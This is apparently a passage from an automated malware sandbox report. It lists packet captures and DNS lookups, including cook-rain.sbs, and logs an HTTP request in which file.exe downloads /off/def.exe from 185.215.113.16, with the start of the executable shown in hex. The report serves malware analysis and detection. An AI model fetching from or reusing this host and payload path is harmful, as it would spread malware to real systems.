Nov 21, 2024 14:28:10.135077000 CET	443	50015	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.136142969 CET	50016	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.136152029 CET	443	50016	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.137818098 CET	50017	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.137862921 CET	443	50017	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.137917042 CET	50017	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.138053894 CET	50017	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.138072014 CET	443	50017	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.357436895 CET	443	50013	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.360553980 CET	443	50013	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.360599995 CET	443	50013	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.360732079 CET	50013	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.360732079 CET	50013	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.360830069 CET	50013	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.360830069 CET	50013	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.360874891 CET	443	50013	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.360903978 CET	443	50013	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.364568949 CET	50018	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.364600897 CET	443	50018	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:10.364892960 CET	50018	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.365097046 CET	50018	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:10.365104914 CET	443	50018	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.101020098 CET	443	50014	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.102572918 CET	50014	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.102607965 CET	443	50014	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.103087902 CET	50014	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.103101015 CET	443	50014	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.546118021 CET	443	50014	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.550571918 CET	443	50014	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.550688028 CET	50014	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.550833941 CET	50014	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.550858021 CET	443	50014	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.550870895 CET	50014	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.550879002 CET	443	50014	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.554356098 CET	50019	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.554398060 CET	443	50019	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.554477930 CET	50019	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.554641962 CET	50019	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.554656029 CET	443	50019	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.855042934 CET	443	50017	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.855580091 CET	443	50016	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.855631113 CET	50017	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.855647087 CET	443	50017	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.855863094 CET	50016	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.855891943 CET	443	50016	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.856229067 CET	50017	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.856232882 CET	443	50017	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.856321096 CET	50016	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.856326103 CET	443	50016	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.916732073 CET	443	50015	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.917327881 CET	50015	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.917392015 CET	443	50015	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:11.917815924 CET	50015	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:11.917829037 CET	443	50015	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.125135899 CET	443	50018	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.125739098 CET	50018	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.125756025 CET	443	50018	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.126214027 CET	50018	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.126239061 CET	443	50018	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.314567089 CET	443	50017	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.314588070 CET	443	50017	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.314625978 CET	443	50017	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.314636946 CET	443	50016	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.314785957 CET	50017	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.314795017 CET	443	50016	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.314850092 CET	50016	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.315114975 CET	50016	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.315129995 CET	443	50016	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.315136909 CET	50017	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.315140963 CET	50016	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.315145969 CET	443	50016	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.315160036 CET	443	50017	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.315172911 CET	50017	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.315177917 CET	443	50017	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.318280935 CET	50021	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.318320036 CET	443	50021	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.318360090 CET	50022	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.318392992 CET	50021	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.318408966 CET	443	50022	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.318470955 CET	50022	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.318609953 CET	50022	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.318610907 CET	50021	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.318623066 CET	443	50022	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.318627119 CET	443	50021	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.363540888 CET	443	50015	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.366616964 CET	443	50015	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.366662979 CET	443	50015	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.366695881 CET	50015	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.366764069 CET	50015	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.366806030 CET	50015	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.366848946 CET	443	50015	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.366877079 CET	50015	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.366893053 CET	443	50015	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.369702101 CET	50023	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.369734049 CET	443	50023	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.369803905 CET	50023	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.369980097 CET	50023	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.369992971 CET	443	50023	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.567202091 CET	443	50018	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.570204020 CET	443	50018	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.570255995 CET	50018	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.570333004 CET	50018	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.570343971 CET	443	50018	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.570355892 CET	50018	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.570359945 CET	443	50018	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.573230982 CET	50024	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.573267937 CET	443	50024	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:12.573339939 CET	50024	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.573487997 CET	50024	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:12.573498011 CET	443	50024	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:13.418570042 CET	443	50019	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:13.419219971 CET	50019	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:13.419240952 CET	443	50019	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:13.419719934 CET	50019	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:13.419725895 CET	443	50019	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:13.869683981 CET	443	50019	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:13.873267889 CET	443	50019	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:13.873347998 CET	50019	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:13.873419046 CET	50019	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:13.873437881 CET	443	50019	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:13.873470068 CET	50019	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:13.873476982 CET	443	50019	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:13.876439095 CET	50025	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:13.876486063 CET	443	50025	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:13.876573086 CET	50025	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:13.876774073 CET	50025	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:13.876792908 CET	443	50025	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.105447054 CET	443	50022	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.106071949 CET	50022	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.106101990 CET	443	50022	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.106554985 CET	50022	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.106561899 CET	443	50022	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.110461950 CET	443	50021	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.110838890 CET	50021	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.110873938 CET	443	50021	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.111260891 CET	50021	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.111269951 CET	443	50021	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.276887894 CET	443	50023	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.277462959 CET	50023	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.277494907 CET	443	50023	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.277939081 CET	50023	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.277947903 CET	443	50023	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.291449070 CET	443	50024	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.291810989 CET	50024	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.291832924 CET	443	50024	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.292327881 CET	50024	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.292331934 CET	443	50024	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.554039001 CET	443	50021	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.557085991 CET	443	50021	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.557425976 CET	50021	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.557470083 CET	50021	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.557470083 CET	50021	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.557490110 CET	443	50021	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.557499886 CET	443	50021	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.560534954 CET	50026	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.560564995 CET	443	50026	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.560627937 CET	50026	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.560785055 CET	50026	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.560791969 CET	443	50026	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.623440027 CET	443	50022	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.626749039 CET	443	50022	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.626790047 CET	443	50022	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.626806021 CET	50022	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.626838923 CET	50022	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.626898050 CET	50022	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.626920938 CET	443	50022	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.626933098 CET	50022	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.626940012 CET	443	50022	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.629467964 CET	50027	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.629566908 CET	443	50027	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.629666090 CET	50027	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.629842997 CET	50027	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.629880905 CET	443	50027	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.726213932 CET	443	50024	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.726267099 CET	443	50024	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.726313114 CET	50024	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.726495981 CET	50024	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.726505995 CET	443	50024	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.726516008 CET	50024	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.726520061 CET	443	50024	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.729113102 CET	50028	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.729159117 CET	443	50028	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.729227066 CET	50028	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.729379892 CET	50028	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.729397058 CET	443	50028	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.785546064 CET	443	50023	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.788592100 CET	443	50023	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.788662910 CET	50023	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.788705111 CET	50023	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.788705111 CET	50023	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.788723946 CET	443	50023	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.788734913 CET	443	50023	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.791372061 CET	50029	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.791462898 CET	443	50029	13.107.246.45	192.168.2.5
Nov 21, 2024 14:28:14.791549921 CET	50029	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.791704893 CET	50029	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:28:14.791738987 CET	443	50029	13.107.246.45	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 14:26:07.277885914 CET	61600	53	192.168.2.5	1.1.1.1
Nov 21, 2024 14:26:07.551939011 CET	53	61600	1.1.1.1	192.168.2.5
Nov 21, 2024 14:26:42.470464945 CET	53	55651	1.1.1.1	192.168.2.5
Nov 21, 2024 14:26:42.470629930 CET	53	59158	1.1.1.1	192.168.2.5
Nov 21, 2024 14:26:45.030260086 CET	53	61277	1.1.1.1	192.168.2.5
Nov 21, 2024 14:26:46.424530983 CET	55099	53	192.168.2.5	1.1.1.1
Nov 21, 2024 14:26:46.424595118 CET	54692	53	192.168.2.5	1.1.1.1
Nov 21, 2024 14:26:46.651268959 CET	53	55099	1.1.1.1	192.168.2.5
Nov 21, 2024 14:26:46.651340961 CET	53	54692	1.1.1.1	192.168.2.5
Nov 21, 2024 14:26:49.104964018 CET	52899	53	192.168.2.5	1.1.1.1
Nov 21, 2024 14:26:49.105401039 CET	62702	53	192.168.2.5	1.1.1.1
Nov 21, 2024 14:26:57.683901072 CET	53	61916	1.1.1.1	192.168.2.5
Nov 21, 2024 14:26:59.086296082 CET	59850	53	192.168.2.5	1.1.1.1
Nov 21, 2024 14:26:59.086678982 CET	62206	53	192.168.2.5	1.1.1.1
Nov 21, 2024 14:27:01.979846001 CET	53	54966	1.1.1.1	192.168.2.5
Nov 21, 2024 14:27:20.779263973 CET	53	52633	1.1.1.1	192.168.2.5
Nov 21, 2024 14:27:41.909501076 CET	53	56678	1.1.1.1	192.168.2.5
Nov 21, 2024 14:27:43.575386047 CET	53	54433	1.1.1.1	192.168.2.5
Nov 21, 2024 14:28:11.779491901 CET	53	61851	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 14:26:07.277885914 CET	192.168.2.5	1.1.1.1	0xd762	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:26:46.424530983 CET	192.168.2.5	1.1.1.1	0x8005	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:26:46.424595118 CET	192.168.2.5	1.1.1.1	0x2378	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 14:26:49.104964018 CET	192.168.2.5	1.1.1.1	0xaf40	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:26:49.105401039 CET	192.168.2.5	1.1.1.1	0x4559	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 21, 2024 14:26:59.086296082 CET	192.168.2.5	1.1.1.1	0x35d8	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:26:59.086678982 CET	192.168.2.5	1.1.1.1	0xdab4	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 14:26:07.551939011 CET	1.1.1.1	192.168.2.5	0xd762	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:26:07.551939011 CET	1.1.1.1	192.168.2.5	0xd762	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:26:46.651268959 CET	1.1.1.1	192.168.2.5	0x8005	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:26:46.651340961 CET	1.1.1.1	192.168.2.5	0x2378	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 14:26:49.338824034 CET	1.1.1.1	192.168.2.5	0xfc40	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:49.338824034 CET	1.1.1.1	192.168.2.5	0xfc40	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:49.338824034 CET	1.1.1.1	192.168.2.5	0xfc40	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:26:49.341878891 CET	1.1.1.1	192.168.2.5	0x4559	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:49.341878891 CET	1.1.1.1	192.168.2.5	0x4559	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:49.355207920 CET	1.1.1.1	192.168.2.5	0xaf40	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:49.355207920 CET	1.1.1.1	192.168.2.5	0xaf40	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:49.355207920 CET	1.1.1.1	192.168.2.5	0xaf40	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:49.355207920 CET	1.1.1.1	192.168.2.5	0xaf40	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:26:49.368721962 CET	1.1.1.1	192.168.2.5	0xb348	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:52.264910936 CET	1.1.1.1	192.168.2.5	0xe68a	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:52.265136003 CET	1.1.1.1	192.168.2.5	0x4319	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:52.265136003 CET	1.1.1.1	192.168.2.5	0x4319	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:52.265136003 CET	1.1.1.1	192.168.2.5	0x4319	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:26:59.319129944 CET	1.1.1.1	192.168.2.5	0x35d8	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:26:59.319140911 CET	1.1.1.1	192.168.2.5	0xdab4	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

fs.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49734	185.215.113.16	80	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:26:30.308885098 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 21, 2024 14:26:31.716475964 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:26:31 GMT Content-Type: application/octet-stream Content-Length: 2819072 Last-Modified: Thu, 21 Nov 2024 12:59:18 GMT Connection: keep-alive ETag: "673f2ea6-2b0400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 24 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +$G+`Ui` @ @.rsrc`2@.idata 8@ssbqmpcp*:@iyzbxbnx `+@.taggant@+"*@
Nov 21, 2024 14:26:31.716520071 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:26:31.716772079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:26:31.716866970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:26:31.716882944 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:26:31.718230963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:26:31.718291044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
